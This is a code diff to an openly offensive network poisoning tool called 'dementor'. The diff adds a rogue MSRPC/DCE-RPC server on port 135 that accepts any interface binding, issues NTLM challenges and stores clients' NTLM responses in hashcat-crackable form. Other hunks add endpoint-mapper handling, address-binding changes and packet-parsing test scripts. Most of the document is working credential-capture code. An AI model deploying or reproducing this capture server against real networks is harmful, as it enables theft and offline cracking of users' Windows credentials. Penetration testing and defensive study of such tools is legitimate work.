+ code = self.handle_bind(header, bind_req)
154
+ case 0x10: # AUTH3
155
+ code = self.handle_auth3(header)
156
+ case _:
157
+ code = rev_rpc_status_codes["rpc_fault_cant_perform"]
158
+
159
+ if isinstance(code, str):
160
+ code = rev_rpc_status_codes[code]
161
+
162
+ if code != 0:
163
+ self.server.rem_conn_by_call_id(header["call_id"])
164
+ self._send_fault(header, code)
165
+ break
166
+
167
+ def handle_bind(
168
+ self, header: rpcrt.MSRPCHeader, bind_req: rpcrt.MSRPCBind
169
+ ) -> str | int:
170
+ syntax = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")
171
+ bind_ack = rpcrt.MSRPCBindAck()
172
+
173
+ bind_ack["type"] = rpcrt.MSRPC_BINDACK
174
+ bind_ack["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
175
+ bind_ack["frag_len"] = 0
176
+ bind_ack["auth_len"] = 0
177
+ bind_ack["auth_data"] = b""
178
+ bind_ack["call_id"] = header["call_id"]
179
+ bind_ack["max_tfrag"] = bind_req["max_tfrag"]
180
+ bind_ack["max_rfrag"] = bind_req["max_rfrag"]
181
+ bind_ack["assoc_group"] = 0x0CC5
182
+ bind_ack["ctx_num"] = 0
183
+ bind_ack["SecondaryAddrLen"] = 0
184
+
185
+ ctx_items = []
186
+ data = bind_req["ctx_items"]
187
+ conn = self.server.get_conn_by_call_id(header["call_id"])
188
+ endpoints = set()
189
+ for _ in range(bind_req["ctx_num"]):
190
+ result = rpcrt.MSRPC_CONT_RESULT_PROV_REJECT
191
+ ctx_item = rpcrt.CtxItem(data)
192
+ item_result = rpcrt.CtxItemResult()
193
+ data = data[len(ctx_item) :]
194
+
195
+ # The syntax must be checked. It will be one of the first entries
196
+ # -> We have to select the right one
197
+ if ctx_item["TransferSyntax"] == rpcrt.uuidtup_to_bin(syntax):
198
+ # accepted, regardless of the abstract syntax (WE WANT TO CATCH 'EM ALL)
199
+ reason = 0
200
+ result = rpcrt.MSRPC_CONT_RESULT_ACCEPT
201
+ bind_ack["SecondaryAddr"] = "135" # send to the same port
202
+ bind_ack["SecondaryAddrLen"] = 4
203
+ item_result["TransferSyntax"] = rpcrt.uuidtup_to_bin(syntax)
204
+ else:
205
+ reason = 2 # transfer syntax not supported
206
+ item_result["TransferSyntax"] = bytes(16)
207
+
208
+ abstract_syntax = ctx_item["AbstractSyntax"]
209
+ endpoints.add(uuid_name(abstract_syntax))
210
+ conn.target = self.server.get_handler_by_uuid(abstract_syntax)
211
+
212
+ bind_ack["ctx_num"] += 1
213
+ item_result["Result"] = result
214
+ item_result["Reason"] = reason
215
+ ctx_items.append(item_result)
216
+
217
+ bind_ack["Pad"] = "A" * (
218
+ 4 - ((bind_ack["SecondaryAddrLen"] + bind_ack._SIZE) % 4)
219
+ )
220
+ bind_ack["ctx_items"] = b"".join([i.getData() for i in ctx_items])
221
+
222
+ endpoints_fmt = ", ".join({f"[b]{e}[/b]" for e in endpoints})
223
+ # handle AUTH data if present
224
+ if header["sec_trailer"]:
225
+ sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
226
+ auth_type = sec_trailer["auth_type"]
227
+ if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
228
+ # reject everything else
229
+ self.logger.display(
230
+ f"Rejecting Bind request for {endpoints_fmt} using AuthType: {auth_type:#x}"
231
+ )
232
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
233
+
234
+ token = header["auth_data"]
235
+ auth_ctx_id = sec_trailer["auth_ctx_id"]
236
+ conn.auth_ctx_id = auth_ctx_id
237
+ (msg_type,) = struct.unpack("<L", token[8:12])
238
+ if msg_type == 0x01: # NEGOTIATE
239
+ # generate challenge
240
+ negotiate = ntlm.NTLMAuthNegotiate()
241
+ negotiate.fromString(token)
242
+ challenge = NTLM_AUTH_CreateChallenge(
243
+ negotiate,
244
+ *NTLM_split_fqdn(self.rpc_config.rpc_fqdn),
245
+ challenge=self.rpc_config.rpc_ntlm_challenge,
246
+ disable_ess=not self.rpc_config.rpc_ntlm_ess,
247
+ )
248
+ bind_ack["auth_data"] = challenge.getData()
249
+ bind_ack["auth_len"] = len(bind_ack["auth_data"])
250
+ bind_ack["sec_trailer"] = sec_trailer.getData()
251
+ if endpoints_fmt:
252
+ self.logger.display(
253
+ f"Bind request for {endpoints_fmt} (NTLMSSP_NEGOTIATE)"
254
+ )
255
+ conn.challenge = challenge
256
+ else:
257
+ self.logger.debug(f"(NTLM) Unhandled message type: {msg_type:#x}")
258
+ else:
259
+ if endpoints_fmt:
260
+ self.logger.display(
261
+ f"Bind request for {endpoints_fmt} (TransferSyntax Negotiation)"
262
+ )
263
+
264
+ bind_ack["frag_len"] = len(bind_ack.getData())
265
+ self.send(bind_ack.getData())
266
+ return 0x00
267
+
268
+ def handle_auth3(self, header: rpcrt.MSRPCHeader):
269
+ if not header["sec_trailer"]:
270
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
271
+
272
+ sec_trailer = rpcrt.SEC_TRAILER(header["sec_trailer"])
273
+ auth_type = sec_trailer["auth_type"]
274
+ if auth_type != rpcrt.RPC_C_AUTHN_WINNT:
275
+ # reject everything else
276
+ self.logger.display(
277
+ f"Rejecting AUTH3 request using AuthType: {auth_type:#x}"
278
+ )
279
+ return rev_rpc_status_codes["nca_s_unsupported_authn_level"]
280
+
281
+ conn = self.server.get_conn_by_call_id(header["call_id"])
282
+ token = header["auth_data"]
283
+ if not conn.challenge:
284
+ # challenge not set, invalid request
285
+ return rev_rpc_status_codes["rpc_fault_cant_perform"] # REVISIT
286
+
287
+ auth_resp = ntlm.NTLMAuthChallengeResponse()
288
+ auth_resp.fromString(token)
289
+ flags = auth_resp["flags"]
290
+ hversion, hstring = NTLM_AUTH_to_hashcat_format(
291
+ conn.challenge["challenge"].encode(),
292
+ auth_resp["user_name"],
293
+ auth_resp["domain_name"],
294
+ auth_resp["lanman"],
295
+ auth_resp["ntlm"],
296
+ flags,
297
+ )
298
+ self.config.db.add_auth(
299
+ client=self.client_address,
300
+ credtype=hversion,
301
+ username=NTLM_AUTH_decode_string(auth_resp["user_name"], flags),
302
+ domain=NTLM_AUTH_decode_string(auth_resp["domain_name"], flags),
303
+ logger=self.logger,
304
+ password=hstring,
305
+ )
306
+ return self.rpc_config.rpc_error_code
307
+
308
+ def handle_request(self, data):
309
+ request = rpcrt.MSRPCRequestHeader(data)
310
+ conn = self.server.get_conn_by_call_id(request["call_id"])
311
+ conn.ctx_id = request["ctx_id"]
312
+ if not conn.target:
313
+ # Interface not set, we can't handle this
314
+ return rev_rpc_status_codes["nca_s_unk_if"]
315
+
316
+ return conn.target(self, request, data)
317
+
318
+
319
+ RPCEndpointHandler = Callable[[RPCHandler, rpcrt.MSRPCHeader, bytes], int]
320
+
321
+
322
+ class MSRPCServer(ThreadingTCPServer):
323
+ default_port = 135
324
+ default_handler_class = RPCHandler
325
+ service_name = "DCE/RPC"
326
+
327
+ def __init__(
328
+ self, config, handles=None, server_address=None, RequestHandlerClass=None
329
+ ) -> None:
330
+ self.conn_data = handles or defaultdict(RPCConnection)
331
+ super().__init__(config, server_address, RequestHandlerClass)
332
+
333
+ def get_conn_by_call_id(self, call_id: int) -> RPCConnection:
334
+ with threading.Lock():
335
+ conn = self.conn_data[call_id]
336
+ if conn.call_id == -1:
337
+ conn.call_id = call_id
338
+ return conn
339
+
340
+ def get_conn_by_auth_ctx_id(self, auth_ctx_id: int) -> RPCConnection:
341
+ conn = next(
342
+ filter(lambda x: x.auth_ctx_id == auth_ctx_id, self.conn_data.values()),
343
+ None,
344
+ )
345
+ if conn is None:
346
+ conn = RPCConnection()
347
+ conn.auth_ctx_id = auth_ctx_id
348
+ self.conn_data[auth_ctx_id] = conn
349
+ return conn
350
+
351
+ def rem_conn_by_call_id(self, call_id: int):
352
+ self.conn_data.pop(call_id, None)
353
+
354
+ def _module_handler(self, module) -> RPCEndpointHandler | None:
355
+ func = getattr(module, "handle_request", None)
356
+ if func:
357
+ return func
358
+
359
+ handler_cls = getattr(module, "RPCEndpointHandlerClass", None)
360
+ if handler_cls:
361
+ return handler_cls()
362
+
363
+ def get_handler_by_uuid(self, uuid: bytes) -> RPCEndpointHandler | None:
364
+ uuid_str, _ = rpcrt.bin_to_uuidtup(uuid)
365
+ for module in self.config.rpc_config.rpc_modules:
366
+ mod_uuid = getattr(module, "__uuid__", None)
367
+ if mod_uuid == uuid or mod_uuid == uuid_str:
368
+ return self._module_handler(module)
369
+
370
+ if isinstance(mod_uuid, list):
371
+ if uuid in mod_uuid or uuid_str.upper() in mod_uuid:
372
+ return self._module_handler(module)
373
+
374
+ return None
@@ -0,0 +1,34 @@
1
+ from collections import defaultdict
2
+ from dementor.config import TomlConfig
3
+ from dementor.servers import ServerThread
4
+ from dementor.protocols.msrpc.rpc import MSRPCServer, RPCConfig, RPCConnection
5
+
6
+
7
+ def apply_config(session):
8
+ session.rpc_config = TomlConfig.build_config(RPCConfig)
9
+
10
+ for module in session.rpc_config.rpc_modules:
11
+ # load custom config
12
+ if hasattr(module, "apply_config"):
13
+ module.apply_config(session)
14
+
15
+
16
+ def create_server_threads(session):
17
+ addr = "::" if session.ipv6 else session.ipv4 # necessary
18
+
19
+ # connection data will be shared across both servers
20
+ conn_data = defaultdict(RPCConnection)
21
+ return [
22
+ ServerThread(
23
+ session,
24
+ MSRPCServer,
25
+ server_address=(addr, 135),
26
+ handles=conn_data,
27
+ ),
28
+ ServerThread(
29
+ session,
30
+ MSRPCServer,
31
+ server_address=(addr, session.rpc_config.epm_port),
32
+ handles=conn_data,
33
+ ),
34
+ ]
@@ -97,6 +97,10 @@ class NetBiosNSPoisoner(BaseProtoHandler):
97
97
 
98
98
  if header.OPCODE == 0x0:
99
99
  # name query --> this is what we are looking for
100
+ if header.haslayer(netbios.NBNSNodeStatusRequest):
101
+ # we should handle those too
102
+ return
103
+
100
104
  request = header[netbios.NBNSQueryRequest]
101
105
  suffix = netbios._NETBIOS_SUFFIXES.get(
102
106
  request.SUFFIX,
@@ -57,8 +57,7 @@ def apply_config(session):
57
57
  def create_server_threads(session):
58
58
  servers = []
59
59
  if session.quic_enabled:
60
- address = "::" if session.ipv6 else session.ipv4 or ""
61
- servers.append(QuicServerThread(session, address, ipv6=bool(session.ipv6)))
60
+ servers.append(QuicServerThread(session, session.bind_address, ipv6=bool(session.ipv6)))
62
61
 
63
62
  return servers
64
63
 
@@ -148,13 +148,9 @@ class SMBServerThread(threading.Thread):
148
148
  # always disconnect
149
149
 
150
150
  # Change address_family to IPv6 if this is configured
151
- address = self.config.ipv4
151
+ address = self.config.bind_address
152
152
  if self.config.ipv6:
153
153
  SMBSERVER.address_family = socket.AF_INET6
154
- # empty string means all interfaces even though IPv6 can be bound to a specific
155
- # interface. Unfortunately, impacket's SMBSERVER does not support binding to
156
- # specific IPv6 addresses.
157
- address = ""
158
154
 
159
155
  self.server = SMBSERVER(
160
156
  (address, self.server_config.smb_port),
@@ -334,7 +334,7 @@ class SMTPServerThread(threading.Thread):
334
334
 
335
335
  # NOTE: hostname on the controller points to the local address that will be
336
336
  # bound and the SMTP hostname is just a string that will be sent to the client,
337
- controller.hostname = "::" if self.config.ipv6 else self.config.ipv4
337
+ controller.hostname = config.bind_address
338
338
 
339
339
  # alter the server hostname
340
340
  controller.SMTP_kwargs["hostname"] = smtp_config.smtp_fqdn.split(".", 1)[0]
@@ -136,7 +136,7 @@ class ThreadingUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
136
136
  self.address_family = socket.AF_INET6
137
137
 
138
138
  super().__init__(
139
- server_address or ("", self.default_port),
139
+ server_address or (self.config.bind_address, self.default_port),
140
140
  RequestHandlerClass or self.default_handler_class,
141
141
  )
142
142
 
@@ -173,7 +173,7 @@ class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
173
173
  if config.ipv6 and not self.ipv4_only:
174
174
  self.address_family = socket.AF_INET6
175
175
  super().__init__(
176
- server_address or ("", self.default_port),
176
+ server_address or (self.config.bind_address, self.default_port),
177
177
  RequestHandlerClass or self.default_handler_class,
178
178
  )
179
179
 
@@ -259,7 +259,7 @@ def main_print_options(session: SessionConfig, interface):
259
259
  poisoners_lines.append(main_format_config("Interface", interface))
260
260
 
261
261
  protocols_lines = ["", "[bold]Servers:[/bold]"]
262
- additional_protocols = ["KDC", "NBTDS"]
262
+ additional_protocols = ["KDC", "NBTDS", "WinRM"]
263
263
  for name in (list(session.protocols) or []) + additional_protocols:
264
264
  attr_name = f"{name.lower()}_enabled"
265
265
  value = getattr(session, attr_name, None)
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev1
3
+ Version: 1.0.0.dev3
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -23,10 +23,18 @@ dementor/protocols/kerberos.py
23
23
  dementor/protocols/ldap.py
24
24
  dementor/protocols/llmnr.py
25
25
  dementor/protocols/mdns.py
26
+ dementor/protocols/msrpc.py
26
27
  dementor/protocols/netbios.py
27
28
  dementor/protocols/ntlm.py
28
29
  dementor/protocols/quic.py
29
30
  dementor/protocols/smb.py
30
31
  dementor/protocols/smtp.py
31
32
  dementor/protocols/spnego.py
32
- docs/README.pypi.md
33
+ dementor/protocols/msrpc/__init__.py
34
+ dementor/protocols/msrpc/dcom.py
35
+ dementor/protocols/msrpc/epm.py
36
+ dementor/protocols/msrpc/rpc.py
37
+ docs/README.pypi.md
38
+ test/test_dcerpc.py
39
+ test/test_dcom.py
40
+ test/test_epm.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev1"
3
+ version = "1.0.0.dev3"
4
4
  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
@@ -0,0 +1,15 @@
1
+ from impacket.dcerpc.v5.rpcrt import MSRPCHeader
2
+
3
+ bind_data = bytes.fromhex(
4
+ "05000b0310000000a000000002000000d016d0160000000003000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000010001000883afe11f5dc91191a408002b14a0fa0300000033057171babe37498319b5dbef9ccc3601000000020001000883afe11f5dc91191a408002b14a0fa030000002c1cb76c12984045030000000000000001000000"
5
+ )
6
+
7
+ local_bind_data = bytes.fromhex(
8
+ "05000b03100000004800000001000000b810b8100000000001000000000001000883afe11f5dc91191a408002b14a0fa03000000045d888aeb1cc9119fe808002b10486002000000"
9
+ )
10
+
11
+ bind_head = MSRPCHeader(bind_data)
12
+ print(bind_head.fields)
13
+
14
+ bind2_head = MSRPCHeader(local_bind_data)
15
+ print(bind2_head.fields)
@@ -0,0 +1,51 @@
1
+ import struct
2
+ import array
3
+
4
+ from impacket.dcerpc.v5 import dcom, rpcrt, dcomrt
5
+
6
+ # resp = dcomrt.ServerAlive2Response(bytes.fromhex("05000700000002002d0000002d00170007004400430030003100000007003100390032002e003100360038002e00350036002e00310031003500000000000900ffff00001e00ffff00001000ffff00000a00ffff00001600ffff00001f00ffff00000e00ffff0000000000000000000000000000"))
7
+
8
+ # bindings = resp["ppdsaOrBindings"]
9
+ # data = bindings["aStringArray"]
10
+ # data = array.array("H", data).tobytes()
11
+ # data_len = len(data)
12
+ # offset = 0
13
+ # sec_offset = bindings["wSecurityOffset"] * 2
14
+
15
+
16
+ # print(offset)
17
+
18
+ # for _ in range():
19
+
20
+ packet = dcomrt.ServerAlive2Response()
21
+ packet["pComVersion"] = dcomrt.COMVERSION()
22
+ packet["ErrorCode"] = 0
23
+
24
+ bindings = dcomrt.DUALSTRINGARRAY()
25
+
26
+
27
+ data = array.array('H')
28
+ # Only one stringbinding
29
+ binding = dcomrt.STRINGBINDING()
30
+ binding["wTowerId"] = 0x07 # ncacn_ip_tcp
31
+ binding["aNetworkAddr"] = "127.0.0.1"
32
+ data.extend(array.array('H', binding.getData()))
33
+
34
+ sec_offset = len(data)
35
+ if sec_offset % 2 != 0:
36
+ data.append(0x00)
37
+ sec_offset += 1
38
+
39
+ binding = dcomrt.SECURITYBINDING()
40
+ binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
41
+ binding["aPrincName"] = ""
42
+ binding["Reserved"] = 0xFFFF
43
+ data.extend(array.array('H', binding.getData()))
44
+
45
+ bindings["wNumEntries"] = len(data)
46
+ bindings["wSecurityOffset"] = sec_offset
47
+ bindings["aStringArray"] = data
48
+
49
+ packet["ppdsaOrBindings"] = bindings
50
+
51
+ print(packet.getData())
@@ -0,0 +1,40 @@
1
+ from impacket.dcerpc.v5 import epm
2
+
3
+
4
+ data = bytes.fromhex("0100000000000000000000000000000000000000020000004b0000004b000000050013000d81bb7a364498f135ad3298f03800100302000200000013000d045d888aeb1cc9119fe808002b10486002000200000001000b020000000100070200008701000904000000000000000000000000000000000000000000000000000004000000")
5
+
6
+ map_req = epm.ept_map(data)
7
+ map_resp = epm.ept_mapResponse()
8
+ map_resp["status"] = 0 # success
9
+ map_resp["num_towers"] = 1
10
+ map_resp["entry_handle"] = map_req["entry_handle"]
11
+
12
+ req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
13
+ req_floors = req_tower["Floors"]
14
+ resp_tower = epm.EPMTower()
15
+ resp_floors = []
16
+
17
+ # First floor will be the interface
18
+ interface = req_floors[0]["InterfaceUUID"]
19
+ # Second floor must map to the same syntax -> TODO
20
+ # THird floor MUST be TCP
21
+ resp_floors.extend(req_floors[:3])
22
+
23
+ epm_port = epm.EPMPortAddr()
24
+ epm_port["IpPort"] = 135# self.rpc_config.epm_port
25
+ resp_floors.append(epm_port)
26
+
27
+ epm_host = epm.EPMHostAddr()
28
+ epm_host["Ip4addr"] = "127.0.0.1" # self.config.ipv4
29
+ resp_floors.append(epm_host)
30
+
31
+ resp_tower["NumberOfFloors"] = len(resp_floors)
32
+ resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
33
+
34
+ resp_tower_data = epm.twr_p_t()
35
+ resp_tower_data["tower_octet_string"] = resp_tower.getData()
36
+ resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
37
+ resp_tower_data["ReferentID"] = 2
38
+
39
+ map_resp["ITowers"] = [resp_tower_data]
40
+ print(map_resp.getData())
File without changes
File without changes
File without changes